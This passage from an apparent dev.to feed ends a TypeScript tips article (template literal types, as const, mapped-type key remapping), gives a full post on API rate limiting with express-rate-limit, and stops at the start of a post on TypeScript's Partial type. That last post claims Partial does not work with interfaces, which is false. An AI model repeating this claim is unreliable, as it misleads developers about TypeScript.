  &lt;span class="k"&gt;switch &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;result&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;state&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;loading&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
      &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Loading...&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
      &lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;success&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
      &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Data:&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;result&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;data&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// TypeScript knows `result.data` exists here&lt;/span&gt;
      &lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;error&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
      &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;error&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Error:&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;result&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;message&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="c1"&gt;// TypeScript knows `result.message` exists here&lt;/span&gt;
      &lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This lets you avoid &lt;code&gt;if (x in obj)&lt;/code&gt; hacks or unsafe &lt;code&gt;any&lt;/code&gt; types. Each case knows &lt;em&gt;exactly&lt;/em&gt; what shape it's dealing with.&lt;/p&gt;

&lt;h2&gt;
  
  
  2. Template Literal Types
&lt;/h2&gt;

&lt;p&gt;TypeScript lets you create literal string types dynamically using templates — just like template strings in JavaScript, but at the type level.&lt;/p&gt;

&lt;p&gt;This is super useful for things like keys, paths, or enums.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="kd"&gt;type&lt;/span&gt; &lt;span class="nx"&gt;Lang&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;en&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;es&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kd"&gt;type&lt;/span&gt; &lt;span class="nx"&gt;Page&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;home&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;about&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;type&lt;/span&gt; &lt;span class="nx"&gt;Route&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;Lang&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;/&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;Page&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="c1"&gt;// Result: "en/home" | "en/about" | "es/home" | "es/about"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now you can enforce valid combinations and get autocompletion, even for strings.&lt;/p&gt;

&lt;h2&gt;
  
  
  3. &lt;code&gt;as const&lt;/code&gt; for Literal Inference
&lt;/h2&gt;

&lt;p&gt;By default, TypeScript widens object property types to general types like &lt;code&gt;string&lt;/code&gt; or &lt;code&gt;number&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;status&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="na"&gt;state&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;success&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;code&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;200&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;

&lt;span class="kd"&gt;type&lt;/span&gt; &lt;span class="nx"&gt;StatusType&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;typeof&lt;/span&gt; &lt;span class="nx"&gt;status&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="c1"&gt;// { state: string; code: number }&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Using &lt;code&gt;as const&lt;/code&gt; keeps the literals precise and makes the object readonly:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;status&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="na"&gt;state&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;success&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;code&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;200&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="kd"&gt;const&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="kd"&gt;type&lt;/span&gt; &lt;span class="nx"&gt;StatusType&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;typeof&lt;/span&gt; &lt;span class="nx"&gt;status&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="c1"&gt;// { readonly state: "success"; readonly code: 200 }&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This helps when you want exact types and avoid accidental mutation.&lt;/p&gt;

&lt;h2&gt;
  
  
  4. Indexed Access Types
&lt;/h2&gt;

&lt;p&gt;Ever wish you could reuse a part of another type without retyping it manually?&lt;/p&gt;

&lt;p&gt;That’s what indexed access types do.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="kd"&gt;type&lt;/span&gt; &lt;span class="nx"&gt;User&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="na"&gt;id&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;number&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nl"&gt;profile&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="nl"&gt;age&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;number&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;};&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;

&lt;span class="kd"&gt;type&lt;/span&gt; &lt;span class="nx"&gt;UserName&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;User&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;profile&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;][&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;name&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt; &lt;span class="c1"&gt;// string&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This lets you pull out nested types from your existing structures. It’s safer than duplicating and makes refactoring much easier. You can combine this with generics for some powerful abstractions.&lt;/p&gt;

&lt;h2&gt;
  
  
  5. Key Remapping in Mapped Types
&lt;/h2&gt;

&lt;p&gt;Want to dynamically rename keys or create variations of an existing type? You can use key remapping in mapped types.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="kd"&gt;type&lt;/span&gt; &lt;span class="nx"&gt;Original&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;string&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nl"&gt;version&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kr"&gt;number&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;

&lt;span class="kd"&gt;type&lt;/span&gt; &lt;span class="nx"&gt;Prefixed&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;T&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;K&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt; &lt;span class="kr"&gt;keyof&lt;/span&gt; &lt;span class="nx"&gt;T&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="s2"&gt;`app_&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="kr"&gt;string&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="nx"&gt;K&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt; &lt;span class="nx"&gt;T&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;K&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="p"&gt;};&lt;/span&gt;

&lt;span class="kd"&gt;type&lt;/span&gt; &lt;span class="nx"&gt;PrefixedKeys&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;Prefixed&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;Original&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="c1"&gt;// Result: { app_name: string; app_version: number }&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is super helpful when you:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Work with APIs where keys need prefixes/suffixes&lt;/li&gt;
&lt;li&gt;Want to transform types programmatically&lt;/li&gt;
&lt;li&gt;Need to namespace keys in shared types&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>typescript</category>
      <category>webdev</category>
      <category>javascript</category>
      <category>programming</category>
    </item>
    <item>
      <title>Rate Limiting &amp; Throttling: Why Your API Desperately Needs Them</title>
      <dc:creator>Marouane Souda</dc:creator>
      <pubDate>Tue, 27 May 2025 13:38:48 +0000</pubDate>
      <link>https://dev.to/marsou001/rate-limiting-throttling-why-your-api-desperately-needs-them-13bn</link>
      <guid>https://dev.to/marsou001/rate-limiting-throttling-why-your-api-desperately-needs-them-13bn</guid>
      <description>&lt;p&gt;Imagine this: You’ve spent hours building your shiny new API. You test it. It works. You deploy it. People start using it — awesome! But then suddenly… 🚨 boom! Your API slows down, crashes, or worse: &lt;strong&gt;you get slapped with a massive bill from your cloud provider&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Yep — one script, one bot, or even one poorly-written frontend can trigger thousands of requests... and you pay for all of them.&lt;/p&gt;

&lt;p&gt;This is where two behind-the-scenes heroes step in: &lt;strong&gt;Rate Limiting&lt;/strong&gt; and &lt;strong&gt;Throttling&lt;/strong&gt;. They’re like the gatekeepers of your API — keeping things fast, fair, and affordable.&lt;/p&gt;

&lt;p&gt;Let’s talk about what they are, how they’re different, why you really need both, and how you can add them without stress.&lt;/p&gt;

&lt;h2&gt;
  
  
  What Is Rate Limiting?
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Rate limiting&lt;/strong&gt; is your API's way of saying:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"You can only ask me X times every Y seconds."&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;It sets a &lt;strong&gt;hard rule&lt;/strong&gt; for how many requests someone can make in a given window of time. Once they hit that limit — boom — no more requests until the timer resets.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Example:&lt;/strong&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;“Each user can only make 100 requests per minute.”&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;If they try the 101st request?&lt;br&gt;
Your API responds with a friendly:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;429 Too Many Requests – please try again later.&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;✅ &lt;strong&gt;Key idea&lt;/strong&gt;: It’s a cap — when you hit it, you’re done.&lt;/p&gt;

&lt;h2&gt;
  
  
  What About Throttling?
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Throttling&lt;/strong&gt;, on the other hand, is more about &lt;strong&gt;managing the flow&lt;/strong&gt; of traffic, even if users are technically &lt;em&gt;under&lt;/em&gt; the rate limit.&lt;/p&gt;

&lt;p&gt;Think of it like this:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;“Whoa there! You’re sending a lot of requests really fast. Let’s slow things down so my servers don’t get overwhelmed.”&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Rather than outright blocking the request, throttling might:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Introduce a short delay&lt;/li&gt;
&lt;li&gt;Queue the request&lt;/li&gt;
&lt;li&gt;Or allow it, but slower&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;✅ &lt;strong&gt;Key idea&lt;/strong&gt;: It’s about pacing — not blocking.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why You (Seriously) Need This
&lt;/h2&gt;

&lt;h3&gt;
  
  
  1. To Stop Abuse
&lt;/h3&gt;

&lt;p&gt;If your API is public or even semi-public, someone &lt;em&gt;will&lt;/em&gt; try to spam it — bots scraping data, poorly coded apps hammering endpoints, or bad actors trying to overload it.&lt;/p&gt;

&lt;p&gt;Rate limiting gives you control. Without it, you're asking for trouble.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. To Keep Things Fair
&lt;/h3&gt;

&lt;p&gt;Without limits, one greedy client could hog all your server resources while others get left hanging. This makes your app feel slow or unresponsive — and nobody sticks around for that.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. To Protect Your Server
&lt;/h3&gt;

&lt;p&gt;Each API request uses CPU, memory, or database access. Multiply that by thousands and your server could start crawling... or crash entirely. Rate limiting keeps things sustainable, especially under load.&lt;/p&gt;

&lt;h3&gt;
  
  
  4. To Avoid Surprise Cloud Bills
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Here’s the part most developers don’t think about: cloud costs.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;If you're using something like AWS Lambda, Firebase, Vercel Functions, or any usage-based cloud service — &lt;strong&gt;you’re paying for every request&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Without rate limiting, a buggy app or attack could trigger &lt;strong&gt;millions&lt;/strong&gt; of requests in a day. Your API doesn’t just slow down — you could wake up to a \$500+ bill.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Real example:&lt;/strong&gt; A dev once left a test script running in production that looped an API call. Overnight it generated 1.2 million requests.&lt;br&gt;
Guess what? The cloud bill came with it.&lt;/p&gt;

&lt;p&gt;Rate limiting acts like a cost firewall. It prevents surprise bills by blocking traffic &lt;em&gt;before&lt;/em&gt; it becomes expensive.&lt;/p&gt;

&lt;h2&gt;
  
  
  How to Set It Up (In Node.js)
&lt;/h2&gt;

&lt;p&gt;If you’re building with &lt;strong&gt;Express&lt;/strong&gt;, you can set this up in just a couple of steps using &lt;a href="https://www.npmjs.com/package/express-rate-limit" rel="noopener noreferrer"&gt;&lt;code&gt;express-rate-limit&lt;/code&gt;&lt;/a&gt;:&lt;/p&gt;

&lt;h3&gt;
  
  
  1. Install the package
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;npm &lt;span class="nb"&gt;install &lt;/span&gt;express-rate-limit
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  2. Create a simple limiter
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;rateLimit&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;express-rate-limit&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;limiter&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;rateLimit&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt;
  &lt;span class="na"&gt;windowMs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;60&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;1000&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;// 1 minute&lt;/span&gt;
  &lt;span class="na"&gt;max&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="c1"&gt;// Limit each IP to 100 requests per minute&lt;/span&gt;
  &lt;span class="na"&gt;message&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;Slow down! You're making too many requests. Try again in a bit.&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  3. Plug it into your app
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;express&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;require&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;express&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;app&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;express&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

&lt;span class="nx"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;use&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;limiter&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="nx"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;/&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;req&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="nx"&gt;res&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;send&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Hello from your rate-limited API!&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;

&lt;span class="nx"&gt;app&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;listen&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;3000&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;Server running on port 3000&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That’s it — you’ve now got basic protection in place.&lt;/p&gt;

&lt;h2&gt;
  
  
  Some Real-World Examples
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;GitHub API&lt;/strong&gt;: 60 requests/hour for anonymous users; 5,000/hour when authenticated.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Stripe&lt;/strong&gt;: Limits based on API category (e.g. payments vs. billing).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Twitter/X&lt;/strong&gt;: Strict tiered limits depending on user level.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;OpenAI API&lt;/strong&gt;: Model-based request caps and usage tiers.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If the big guys do it, you probably should too.&lt;/p&gt;

&lt;h2&gt;
  
  
  Helpful Tips
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Use a shared store like Redis&lt;/strong&gt; if your API runs on multiple servers (to track limits across all instances).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Return user-friendly messages&lt;/strong&gt; when users hit their limit.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Use headers&lt;/strong&gt; like &lt;code&gt;X-RateLimit-Remaining&lt;/code&gt; to let users monitor their usage.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Make limits configurable&lt;/strong&gt; — free users get less, premium users get more.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Final Thoughts
&lt;/h2&gt;

&lt;p&gt;Rate limiting and throttling aren’t just about keeping your API alive — they’re about:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Giving everyone a fair experience&lt;/li&gt;
&lt;li&gt;Avoiding outages and abuse&lt;/li&gt;
&lt;li&gt;And yes, saving your wallet from surprise cloud bills&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If you’re building an API — even just for a hobby project — think of these features as the seatbelt your backend deserves. Easy to forget, but &lt;em&gt;absolutely essential&lt;/em&gt; when things go wrong.&lt;/p&gt;




&lt;p&gt;Original post: &lt;a href="https://marouanesouda.com/blog/rate-limiting-and-throttling-why-your-api-desperately-needs-them" rel="noopener noreferrer"&gt;https://marouanesouda.com/blog/rate-limiting-and-throttling-why-your-api-desperately-needs-them&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Connect with me on:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://marouanesouda.com" rel="noopener noreferrer"&gt;Website&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.linkedin.com/in/marouane-souda" rel="noopener noreferrer"&gt;LinkedIn&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/marsou001" rel="noopener noreferrer"&gt;GitHub&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://X.com/marouane_souda" rel="noopener noreferrer"&gt;X&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.instagram.com/marouane.codes" rel="noopener noreferrer"&gt;Instagram&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
    </item>
    <item>
      <title>The Partial utility type in TypeScript</title>
      <dc:creator>Marouane Souda</dc:creator>
      <pubDate>Fri, 04 Mar 2022 16:25:15 +0000</pubDate>
      <link>https://dev.to/marsou001/the-partial-utility-type-in-typescript-24dk</link>
      <guid>https://dev.to/marsou001/the-partial-utility-type-in-typescript-24dk</guid>
      <description>&lt;p&gt;Hello everyone!&lt;/p&gt;

&lt;p&gt;Today I'll tell about a cool feature of TypeScript, which is the Partial utility type.&lt;/p&gt;

&lt;p&gt;This utility type works on types (per definition, and as such won't work with interfaces, a mistake I personally made), and makes all of its properties optional.&lt;/p&gt;

&lt;p&gt;Lets take this code for example:&lt;/p&gt;

